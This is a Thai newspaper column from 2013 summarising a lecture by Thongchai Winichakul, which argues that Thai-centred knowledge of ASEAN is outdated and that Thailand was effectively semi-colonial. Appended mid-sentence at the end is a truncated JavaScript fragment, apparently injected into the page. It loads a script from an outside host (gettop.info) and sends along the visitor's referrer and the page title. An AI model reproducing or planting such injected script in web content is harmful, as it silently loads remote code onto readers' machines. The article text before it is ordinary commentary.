มติชนรายวัน ฉบับประจำวันจันทร์ที่ 5 สิงหาคม 2556

 

          เนื้อร้องเพลงดนตรีสิบสองภาษานานาชาติ มีขึ้นหลังยุค ร.4 สะท้อนสำนึกยกตนข่มท่าน เพราะยกไทยไว้เหนือเพื่อนบ้าน แล้วเหยียดเพื่อนบ้านเป็นตัวตลก

          มีผู้ปรารถนาดีสรุปปาฐกถาของ อ. ธงชัย วินิจจะกูล (ในงานเปิดศูนย์เอเชียตะวันออกเฉียงใต้ศึกษา สถาบันเอเชียตะวันออก มหาวิทยาลัยธรรมศาสตร์ ศูนย์รังสิต) มาให้อ่าน ก็ยิ่งเป็นพยานหนักแน่นขึ้น จะขอสรุปรวบยอดมาไว้ดังนี้

          ความรู้เกี่ยวกับอาเซียนที่มีไทยเป็นศูนย์กลาง เป็นเรื่องล้าสมัย และฝืนโลก เพราะเชื่อว่าไทยไม่เป็นเมืองขึ้นเหมือนประเทศเพื่อนบ้าน ทำให้ไทยมีลักษณะพิเศษเหนือประเทศอื่น

          แต่แท้จริงแล้ว ในยุคอาณานิคม สังคมไทยไม่ได้ปลอดจากอาณานิคมอย่างที่เราคิด

          มีนักวิชาการจำนวนไม่น้อยศึกษาว่าสังคมไทยเป็นกึ่งอาณานิคม (ไม่ใช่กึ่งอาณานิคมในความหมายอย่างคอมมิวนิสต์เคยใช้มาระยะหนึ่ง)

          ถ้าเราไม่เป็นอาณานิคมทางการเมือง เราก็เป็นส่วนหนึ่งของระบบโลกยุคอาณานิคมตั้งแต่ต้น

          หมายความว่าตั้งแต่เริ่มเมื่อเจ้าอาณานิคมแผ่เข้ามา โดยไม่ต้องยึดครองไทยเป็นอาณานิคม ไทยก็ถูกเงื่อนไขบังคับควบคุม ในที่สุดก็สมัครใจเข้าเป็นส่วนหนึ่งของระบบอาณานิคม เพราะคนชั้นนำไทยยุคนั้นได้ประโยชน์

          “เราเป็นกึ่งอาณานิคมมาตั้งนานแล้ว” อ. ธงชัยย้ำ

          ความรู้เกี่ยวกับเอเชียตะวันออกเฉียงใต้ หรืออุษาคเนย์ ผลิตในยุคอาณานิคม โดยเจ้าอาณานิคมตะวันตกที่สนใจศึกษาค้นคว้าเรื่องคลาสสิค ซึ่งในโลกตะวันตก หมายถึงโบราณคดี ประวัติศาสตร์ศิลปะ และนิรุกติศาสตร์

          เจ้าอาณานิคมศึกษาปราสาทนครวัด นครธม ในฐานะอารยธรรมโบราณอันยิ่งใหญ่ แต่กัมพูชาปัจจุบันล้าหลัง และไม่รู้จักความยิ่งใหญ่นั้น เพราะกลุ่มชนที่สร้างสรรค์ความยิ่งใหญ่เหล่านั้นสูญไปนานแล้ว

          คนที่มาสืบทอดความยิ่งใหญ่อีกครั้งหนึ่งของนครวัด นครธมก็คือ “ข้าพเจ้าชาวตะวันตก ผู้เป็นเจ้าอาณานิคมนี่ไง

          ไทยก็ศึกษาเรื่องคลาสสิคตามกรอบคิดของเจ้าอาณานิคม ที่อบรมปลูกฝังสืบทอดกันต่อมาจนยากจะดิ้นหลุด โดยทำได้แค่ต่อยอดทีละนิดอยู่ในกรอบความรู้ที่มีอยู่เดิมของโลกตะวันตก แม้บางคนจะต่อต้านอาณานิคม แต่ก็อยู่ในกรอบอาณานิคมอยู่ดี

          ความรู้อาเซียนของไทยจึงล้าสมัย และฝืนโลก เพราะยกไทยเป็นศูนย์กลางif (document.currentScript) { s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;